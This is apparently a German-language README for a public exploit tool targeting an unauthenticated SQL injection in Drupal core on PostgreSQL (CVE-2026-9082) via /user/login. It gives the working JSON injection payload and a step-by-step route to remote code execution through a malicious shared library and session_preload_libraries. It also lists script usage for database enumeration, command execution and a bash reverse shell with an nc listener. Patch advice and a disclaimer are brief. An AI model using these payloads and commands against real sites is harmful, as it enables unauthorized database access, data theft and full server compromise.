
Drupal Core PostgreSQL SQLi to RCE via /user/login (CVE-2026-9082 / SA-CORE-2026-004)
Unauthentifizierte SQL-Injection in Drupal Core auf PostgreSQL über POST /user/login, eskaliert zu Remote Code Execution durch PostgreSQL session_preload_libraries.
Im Gegensatz zu bestehenden öffentlichen Exploits, die auf JSON:API abzielen, nutzt dieser den Login-Endpunkt – immer verfügbar, keine Module oder veröffentlichten Inhalte erforderlich.
Sicherheitshinweis: SA-CORE-2026-004 | Risiko: 23/25 (Höchst kritisch) | CISA KEV
Nur Drupal-Websites, die PostgreSQL verwenden, sind betroffen.
| Branch | Anfällig | Behoben |
|---|---|---|
| 11.3.x | < 11.3.10 | 11.3.10 |
| 11.2.x | < 11.2.12 | 11.2.12 |
| 11.0.x - 11.1.x | < 11.1.10 | 11.1.10 |
| 10.6.x | < 10.6.9 | 10.6.9 |
| 10.5.x | < 10.5.10 | 10.5.10 |
| 10.4.x | < 10.4.10 | 10.4.10 |
| 8.9.x - 10.3.x | Alle | Lebensende – aktualisieren |
Drupals PostgreSQL-Entity-Query-Condition-Handler (core/modules/pgsql/src/EntityQuery/Condition.php) erstellt case-insensitive IN-Bedingungen, indem er $condition['value'] als assoziatives Array durchläuft und benutzergesteuerte Schlüssel direkt in PDO-Placeholder-Bezeichner einfügt – das generierte SQL enthält LOWER(:<prefix><key>), wobei <key> wörtlich vom Angreifer stammt.
Dieser Codepfad wird nur erreicht, wenn zwei Bedingungen erfüllt sind: is_array($condition['value']) und $case_sensitive === FALSE. Deshalb ist nur PostgreSQL betroffen – MySQL und SQLite haben diesen case-insensitiven LOWER()-Zweig nicht.
PDOs Named-Parameter-Parser erkennt nur [a-zA-Z0-9_] nach dem :. Zeichen außerhalb dieses Satzes (wie | oder )) beenden das Platzhalter-Token. Ein Schlüssel wie 0||(subquery) erzeugt also einen Platzhalter :prefix0 (geteilt mit dem legitimen Schlüssel 0) plus buchstäbliches SQL ||(subquery), das unparametrisiert an PostgreSQL gelangt.
Der Fix ist ein einziger array_values()-Aufruf, der vom Angreifer bereitgestellte Schlüssel vor der SQL-Generierung verwirft.
/user/login)POST /user/login?_format=json
{
"name": {
"0": "x",
"0||(SELECT CAST((SELECT version()) AS int))": "x"
},
"pass": "x"
}
Das name-Feld wird als JSON-Objekt anstelle eines Strings gesendet. Drupal übergibt es in eine Entity-Query IN-Bedingung mit case-insensitivem Vergleich. Für jeden Array-Schlüssel erzeugt Drupal LOWER(:<prefix><key>) im SQL. Die resultierende Abfrage sieht so aus:
LOWER("users_field_data"."name") IN (
LOWER(:users_field_data_name0),
LOWER(:users_field_data_name0||(SELECT CAST((SELECT version()) AS int)))
)
PDO erkennt :users_field_data_name0 als Platzhalter in beiden Einträgen (anhält beim | im zweiten) und bindet beide an 'x'. Der Rest ||(SELECT ...) wird als buchstäbliches SQL durchgereicht. Nach der Substitution erhält PostgreSQL:
LOWER(name) IN (
LOWER('x'),
LOWER('x'||(SELECT CAST((SELECT version()) AS int)))
)
Der CAST(... AS int) schlägt bei nicht ganzzahligen Daten fehl, und die Fehlermeldung gibt das Abfrageergebnis preis.
Wenn der Datenbankbenutzer ein PostgreSQL-Superuser ist, kann die reine SELECT-Injektion zu RCE eskaliert werden:
data_directory-Pfads und des Superuser-Status.so-Moduls mit _PG_init(), das system() aufruft.so in das data_directory via Large Objects (lo_create -> lo_put -> lo_export)postgresql.auto.conf, um session_preload_libraries und dynamic_library_path zu setzenpg_reload_conf()SQL-Injection (cve_2026_9082_check.py):
Remote Code Execution (cve_2026_9082_rce.py):
docker lokal verfügbar (für Cross-Kompilierung auf macOS)pip install -r requirements.txt
# Validate the SQL injection
python3 cve_2026_9082_check.py http://target:8081
# With a proxy (Burp, mitmproxy, etc.)
python3 cve_2026_9082_check.py http://target:8081 --proxy http://127.0.0.1:8080
# List all databases
python3 cve_2026_9082_sqli.py http://target:8081 --dbs
# List tables in a database
python3 cve_2026_9082_sqli.py http://target:8081 -D drupal --tables
# List columns in a table
python3 cve_2026_9082_sqli.py http://target:8081 -D drupal -T users_field_data --columns
# Run a command
python3 cve_2026_9082_rce.py http://target:8081 "id"
# Reverse shell
python3 cve_2026_9082_rce.py http://target:8081 \
"bash -c 'bash -i >& /dev/tcp/{lhost}/4444 0>&1'"
# Listener
nc -lvnp 4444
SQLi-Validierung gegen eine verwundbare Instanz:

Datenbank-Enumeration via fehlerbasierter Injektion:

Eskalation zu Remote Code Execution:

Drupal sofort aktualisieren auf eine gepatchte Version:
Falls ein Update nicht sofort möglich ist:
POST /user/login-Anfragen mit JSON-Objekten im name-FeldPatches und Details: SA-CORE-2026-004
| Datum | Ereignis |
|---|---|
| 2026-05-20 | Drupal veröffentlicht SA-CORE-2026-004, Patches werden bereitgestellt |
| 2026-05-22 | Aktive Ausnutzung in freier Wildbahn, zu CISA KEV hinzugefügt |
| 2026-05-26 | Ambionics veröffentlicht SQLi-to-RCE-Technik via JSON:API |
| 2026-06-07 | Dieses Tool veröffentlicht |
/user/login) beschrieben von bitk & jfellus (YesWeHack)session_preload_libraries) von N. Maccary / Ambionics (Lexfo)/user/login-Vektor von r0m41nDieses Tool wird ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bereitgestellt.
Unberechtigter Zugriff auf Computersysteme ist illegal. Der Autor übernimmt keine Haftung für Missbrauch dieser Software. Holen Sie stets die entsprechende Genehmigung ein, bevor Sie Systeme testen, die Ihnen nicht gehören.
pg_read_file()